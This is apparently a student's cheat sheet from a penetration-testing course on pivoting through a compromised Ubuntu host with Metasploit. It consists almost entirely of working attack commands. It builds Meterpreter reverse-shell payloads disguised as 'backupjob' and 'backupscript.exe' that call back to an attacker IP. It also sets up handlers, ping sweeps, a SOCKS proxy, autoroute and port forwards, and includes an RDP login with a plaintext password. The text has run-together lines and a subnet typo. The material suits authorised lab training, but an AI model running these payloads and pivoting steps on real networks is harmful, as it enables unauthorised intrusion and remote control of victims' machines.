Creating Payload for Ubuntu Pivot Host
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080Configuring & Starting the multi/handler
use exploit/multi/handlerset lhost 0.0.0.0set lport 8080set payload linux/x64/meterpreter/reverse_tcprunWe can copy the backupjob binary file to the Ubuntu pivot host over SSH and execute it to gain a Meterpreter session.
Executing the Payload on the Pivot Host
./backupjobPing Sweep
run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23Ping Sweep For Loop on Linux Pivot Hosts
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;donePing Sweep For Loop Using CMD
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"Ping Sweep Using PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}Note: It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it’s arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built.
Instead of using SSH for port forwarding, we can also use Metasploit’s post-exploitation routing module socks_proxy to configure a local proxy on our attack host. We will configure the SOCKS proxy for SOCKS version 4a
Configuring MSF’s SOCKS Proxy
use auxiliary/server/socks_proxyset SRVPORT 9050set SRVHOST 0.0.0.0set version 4arunoptionsConfirming Proxy Server is Running
jobsId Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxyAdding a Line to proxychains.conf if Needed
socks4 127.0.0.1 9050Tell our socks_proxy module to route all the traffic via our Meterpreter session. We can use the post/multi/manage/autoroute module from Metasploit to add routes for the 172.16.5.0 subnet and then route all our proxychains traffic.
Creating Routes with AutoRoute
use post/multi/manage/autorouteset SESSION 1set SUBNET 172.16.5.0runor
run autoroute -s 172.16.5.0/23 -p option to list the active routes
Listing Active Routes with AutoRoute
run autoroute -pTesting Proxy & Routing Functionality
proxychains nmap 172.16.5.19 -p3389 -sT -v -PnPort Forwarding
Portfwd options
help portfwdCreating Local TCP Relay
portfwd add -l 3300 -p 3389 -r 172.16.5.19Connecting to Windows Target through localhost
xfreerdp /v:localhost:3300 /u:victor /p:pass@123Netstat Output
netstat -antpMeterpreter Reverse Port Forwarding
Reverse Port Forwarding Rules
portfwd add -R -l 8081 -p 1234 -L 10.10.14.18Configuring & Starting multi/handler
bgset payload windows/x64/meterpreter/reverse_tcpset LPORT 8081 set LHOST 0.0.0.0 runGenerating the Windows Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234Establishing the Meterpreter session
shell